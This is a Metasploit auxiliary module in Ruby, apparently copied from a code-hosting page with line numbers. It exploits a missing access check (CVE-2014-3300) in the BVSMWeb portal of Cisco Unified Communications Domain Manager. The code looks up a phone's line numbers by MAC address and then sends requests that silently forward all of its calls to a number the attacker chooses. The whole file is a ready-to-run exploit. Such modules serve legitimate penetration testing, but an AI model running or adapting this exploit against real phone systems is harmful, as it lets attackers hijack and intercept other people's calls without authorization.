Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rexml/document'
7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'        => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
14
      'Description' => %q{
15
        The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
16
        (CDM) 10 does not properly implement access control, which allows remote attackers to
17
        modify user information. This module exploits the vulnerability to configure unauthorized
18
        call forwarding.
19
      },
20
      'Author'      => 'fozavci',
21
      'References'  =>
22
        [
23
          ['CVE', '2014-3300'],
24
          ['BID', '68331']
25
        ],
26
      'License'     => MSF_LICENSE,
27
      'Actions'     =>
28
        [
29
          [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
30
          [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
31
        ],
32
      'DefaultAction'  => 'Info'
33
    ))
34

35
    register_options(
36
      [
37
        OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
38
        OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
39
        OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
40
        OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
41
      ])
42
  end
43

44
  def run
45
    case action.name.upcase
46
    when 'INFO'
47
      get_info
48
    when 'FORWARD'
49
      forward_calls
50
    end
51
  end
52

53
  def get_info
54
    uri = normalize_uri(target_uri.to_s)
55
    mac = datastore["MAC"]
56

57
    print_status("Getting fintnumbers and display names of the IP phone")
58

59
    res = send_request_cgi(
60
        {
61
            'uri'    => normalize_uri(uri, 'showcallfwd.cgi'),
62
            'method' => 'GET',
63
            'vars_get' => {
64
                'device' => "SEP#{mac}"
65
            }
66
        })
67

68
    unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
69
      print_error("Target appears not vulnerable!")
70
      print_status("#{res}")
71
      return []
72
    end
73

74
    doc = REXML::Document.new(res.body)
75
    lines = []
76
    fint_numbers = []
77

78
    list = doc.root.get_elements('MenuItem')
79

80
    list.each do |lst|
81
      xlist = lst.get_elements('Name')
82
      xlist.each {|l| lines << "#{l[0]}"}
83
      xlist = lst.get_elements('URL')
84
      xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
85
    end
86

87
    lines.size.times do |i|
88
      print_status("Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
89
    end
90

91
    fint_numbers
92
  end
93

94
  def forward_calls
95
    # for a specific FINTNUMBER redirection
96
    uri = normalize_uri(target_uri.to_s)
97
    forward_to = datastore["FORWARDTO"]
98
    mac = datastore["MAC"]
99

100
    if datastore['FINTNUMBER']
101
      fint_numbers = [datastore['FINTNUMBER']]
102
    else
103
      fint_numbers = get_info
104
    end
105

106
    if fint_numbers.empty?
107
      print_error("FINTNUMBER required to forward calls")
108
      return
109
    end
110

111
    fint_numbers.each do |fintnumber|
112

113
      print_status("Sending call forward request for #{fintnumber}")
114

115
      send_request_cgi(
116
          {
117
              'uri'    => normalize_uri(uri, 'phonecallfwd.cgi'),
118
              'method' => 'GET',
119
              'vars_get' => {
120
                  'cfoption'     => 'CallForwardAll',
121
                  'device'       => "SEP#{mac}",
122
                  'ProviderName' => 'NULL',
123
                  'fintnumber'   => "#{fintnumber}",
124
                  'telno1'       => "#{forward_to}"
125
              }
126
          })
127

128
      res = send_request_cgi(
129
          {
130
              'uri'    => normalize_uri(uri, 'showcallfwdperline.cgi'),
131
              'method' => 'GET',
132
              'vars_get' => {
133
                  'device'     => "SEP#{mac}",
134
                  'fintnumber' => "#{fintnumber}"
135
              }
136
          })
137

138
      if res && res.body && res.body && res.body.to_s =~ /CFA/
139
        print_good("Call forwarded successfully for #{fintnumber}")
140
      else
141
        print_error("Call forward failed")
142
      end
143
    end
144
  end
145
end
146

147